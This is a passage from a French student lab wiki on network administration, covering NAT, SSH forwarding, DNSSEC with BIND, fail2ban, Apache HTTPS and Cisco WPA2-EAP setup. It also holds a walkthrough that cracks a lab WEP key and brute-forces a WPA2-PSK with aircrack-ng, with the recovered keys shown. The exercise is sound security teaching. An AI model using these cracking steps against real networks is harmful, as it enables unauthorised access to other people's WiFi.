&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS et DNSSEC ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d'avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut '''commenter''' tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour '''restart''' le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir '''vérifier''' le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour '''lancer le service''' il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef '''deadpool.tech.key''' et les certificats '''GandiCert.pem''' et '''deadpool.tech.crt''' (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
=== Partie VLAN ===&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se '''ssh sur le routeur''' via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Création du Vlan24''' avec le nom PoolAntonin :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour configurer le '''vlan''' que nous venons de créer ainsi que le '''VRRP''' j'ai fait ceci : ('''/!\''' l'adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d'éviter tout conflit avec une autre personne)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie WIFI ===&lt;br /&gt;
&lt;br /&gt;
On peut exit enfin pour se ssh cette fois sur la partie '''wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre '''point d'accès wifi''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc '''incomplète''' et ne permet pas de validé cette dernière. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E13&amp;diff=12355</id>
		<title>Atelier SysRes SE4 2025/2026 E13</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E13&amp;diff=12355"/>
		<updated>2026-02-23T10:35:45Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : Page créée avec « &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt; openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr  Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille Organizational Unit Name (eg, section) []:IOT Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech Email Address []:billel.cheklat@polytech-li... »&lt;/p&gt;
&lt;hr /&gt;
